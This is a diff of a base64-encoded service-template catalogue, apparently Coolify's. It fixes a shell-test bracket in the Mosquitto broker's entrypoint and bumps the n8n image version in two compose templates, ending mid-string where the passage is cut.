@@ -2589,7 +2589,7 @@
     "mosquitto": {
         "documentation": "https://mosquitto.org/documentation/?utm_source=coolify.io",
         "slogan": "Mosquitto is lightweight and suitable for use on all devices, from low-power single-board computers to full servers.",
-        "compose": "c2VydmljZXM6CiAgbW9zcXVpdHRvOgogICAgaW1hZ2U6IGVjbGlwc2UtbW9zcXVpdHRvCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTU9TUVVJVFRPXzE4ODMKICAgICAgLSAnTVFUVF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9NT1NRVUlUVE99JwogICAgICAtICdNUVRUX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NT1NRVUlUVE99JwogICAgICAtICdSRVFVSVJFX0NFUlRJRklDQVRFPSR7UkVRVUlSRV9DRVJUSUZJQ0FURTotZmFsc2V9JwogICAgICAtICdBTExPV19BTk9OWU1PVVM9JHtBTExPV19BTk9OWU1PVVM6LXRydWV9JwogICAgdm9sdW1lczoKICAgICAgLSAnbW9zcXVpdHRvLWNvbmZpZzovbW9zcXVpdHRvL2NvbmZpZycKICAgICAgLSAnbW9zcXVpdHRvLWNlcnRzOi9jZXJ0cycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnZXhpdCAwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBlbnRyeXBvaW50OiAic2ggLWMgXCIgaWYgWyAnJFJFUVVJUkVfQ0VSVElGSUNBVEUnID0gJ3RydWUnIF07IHRoZW4gZWNobyAnbGlzdGVuZXIgODg4MycgPiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiBlY2hvICdjYWZpbGUgL2NlcnRzL2NhLmNydCcgPj4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmYgJiYgZWNobyAnY2VydGZpbGUgL2NlcnRzL3NlcnZlci5jcnQnID4+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mICYmIGVjaG8gJ2tleWZpbGUgIC9jZXJ0cy9zZXJ2ZXIua2V5JyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZjsgZWxzZSBlY2hvICdsaXN0ZW5lciAxODgzJyA+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mOyBmaSAmJiBlY2hvICdyZXF1aXJlX2NlcnRpZmljYXRlICckUkVRVUlSRV9DRVJUSUZJQ0FURSA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiBlY2hvICdhbGxvd19hbm9ueW1vdXMgJyRBTExPV19BTk9OWU1PVVMgPj4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmY7IGlmIFsgLW4gJyRTRVJWSUNFX1VTRVJfTU9TUVVJVFRPJ10gJiYgWyAtbiAnJFNFUlZJQ0VfUEFTU1dPUkRfTU9TUVVJVFRPJyBdOyB0aGVuIGVjaG8gJ3Bhc3N3b3JkX2ZpbGUgL21vc3F1aXR0by9jb25maWcvcGFzc3dvcmRzJyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiB0b3VjaCAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHMgJiYgY2htb2QgMDcwMCAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHMgJiYgY2hvd24gcm9vdDpyb290IC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkcyAmJiBtb3NxdWl0dG9fcGFzc3dkIC1iIC1jIC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkcyAkU0VSVklDRV9VU0VSX01PU1FVSVRUTyAkU0VSVklDRV9QQVNTV09SRF9NT1NRVUlUVE8gJiYgY2hvd24gbW9zcXVpdHRvOm1vc3F1aXR0byAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHM7IGZpICYmIGV4ZWMgbW9zcXVpdHRvIC1jIC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mIFwiIgogICAgbGFiZWxzOgogICAgICAtIHRyYWVmaWsudGNwLnJvdXRlcnMubXF0dC5lbnRyeXBvaW50cz1tcXR0CiAgICAgIC0gdHJhZWZpay50Y3Aucm91dGVycy5tcXR0cy5lbnRyeXBvaW50cz1tcXR0cwo=",
+        "compose": "c2VydmljZXM6CiAgbW9zcXVpdHRvOgogICAgaW1hZ2U6IGVjbGlwc2UtbW9zcXVpdHRvCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTU9TUVVJVFRPXzE4ODMKICAgICAgLSAnTVFUVF9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9NT1NRVUlUVE99JwogICAgICAtICdNUVRUX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NT1NRVUlUVE99JwogICAgICAtICdSRVFVSVJFX0NFUlRJRklDQVRFPSR7UkVRVUlSRV9DRVJUSUZJQ0FURTotZmFsc2V9JwogICAgICAtICdBTExPV19BTk9OWU1PVVM9JHtBTExPV19BTk9OWU1PVVM6LXRydWV9JwogICAgdm9sdW1lczoKICAgICAgLSAnbW9zcXVpdHRvLWNvbmZpZzovbW9zcXVpdHRvL2NvbmZpZycKICAgICAgLSAnbW9zcXVpdHRvLWNlcnRzOi9jZXJ0cycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnZXhpdCAwJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgICBlbnRyeXBvaW50OiAic2ggLWMgXCIgaWYgWyAnJFJFUVVJUkVfQ0VSVElGSUNBVEUnID0gJ3RydWUnIF07IHRoZW4gZWNobyAnbGlzdGVuZXIgODg4MycgPiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiBlY2hvICdjYWZpbGUgL2NlcnRzL2NhLmNydCcgPj4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmYgJiYgZWNobyAnY2VydGZpbGUgL2NlcnRzL3NlcnZlci5jcnQnID4+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mICYmIGVjaG8gJ2tleWZpbGUgIC9jZXJ0cy9zZXJ2ZXIua2V5JyA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZjsgZWxzZSBlY2hvICdsaXN0ZW5lciAxODgzJyA+IC9tb3NxdWl0dG8vY29uZmlnL21vc3F1aXR0by5jb25mOyBmaSAmJiBlY2hvICdyZXF1aXJlX2NlcnRpZmljYXRlICckUkVRVUlSRV9DRVJUSUZJQ0FURSA+PiAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiAmJiBlY2hvICdhbGxvd19hbm9ueW1vdXMgJyRBTExPV19BTk9OWU1PVVMgPj4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmY7IGlmIFsgLW4gJyRTRVJWSUNFX1VTRVJfTU9TUVVJVFRPJyBdICYmIFsgLW4gJyRTRVJWSUNFX1BBU1NXT1JEX01PU1FVSVRUTycgXTsgdGhlbiBlY2hvICdwYXNzd29yZF9maWxlIC9tb3NxdWl0dG8vY29uZmlnL3Bhc3N3b3JkcycgPj4gL21vc3F1aXR0by9jb25maWcvbW9zcXVpdHRvLmNvbmYgJiYgdG91Y2ggL21vc3F1aXR0by9jb25maWcvcGFzc3dvcmRzICYmIGNobW9kIDA3MDAgL21vc3F1aXR0by9jb25maWcvcGFzc3dvcmRzICYmIGNob3duIHJvb3Q6cm9vdCAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHMgJiYgbW9zcXVpdHRvX3Bhc3N3ZCAtYiAtYyAvbW9zcXVpdHRvL2NvbmZpZy9wYXNzd29yZHMgJFNFUlZJQ0VfVVNFUl9NT1NRVUlUVE8gJFNFUlZJQ0VfUEFTU1dPUkRfTU9TUVVJVFRPICYmIGNob3duIG1vc3F1aXR0bzptb3NxdWl0dG8gL21vc3F1aXR0by9jb25maWcvcGFzc3dvcmRzOyBmaSAmJiBleGVjIG1vc3F1aXR0byAtYyAvbW9zcXVpdHRvL2NvbmZpZy9tb3NxdWl0dG8uY29uZiBcIiIKICAgIGxhYmVsczoKICAgICAgLSB0cmFlZmlrLnRjcC5yb3V0ZXJzLm1xdHQuZW50cnlwb2ludHM9bXF0dAogICAgICAtIHRyYWVmaWsudGNwLnJvdXRlcnMubXF0dHMuZW50cnlwb2ludHM9bXF0dHMK",
         "tags": [
             "mosquitto",
             "mqtt",
@@ -2603,7 +2603,7 @@
     "n8n-with-postgres-and-worker": {
         "documentation": "https://n8n.io?utm_source=coolify.io",
         "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.",
-        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExNC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExNC40JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvaGVhbHRoeicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbjhuOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ni1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK",
+        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExOS4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExOS4yJwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvaGVhbHRoeicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbjhuOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ni1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK",
         "tags": [
             "n8n",
             "workflow",
@@ -2624,7 +2624,7 @@
     "n8n-with-postgresql": {
         "documentation": "https://n8n.io?utm_source=coolify.io",
         "slogan": "n8n is an extendable workflow automation tool.",
-        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExNC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnTjhOX1JVTk5FUlNfRU5BQkxFRD0ke044Tl9SVU5ORVJTX0VOQUJMRUQ6LXRydWV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1h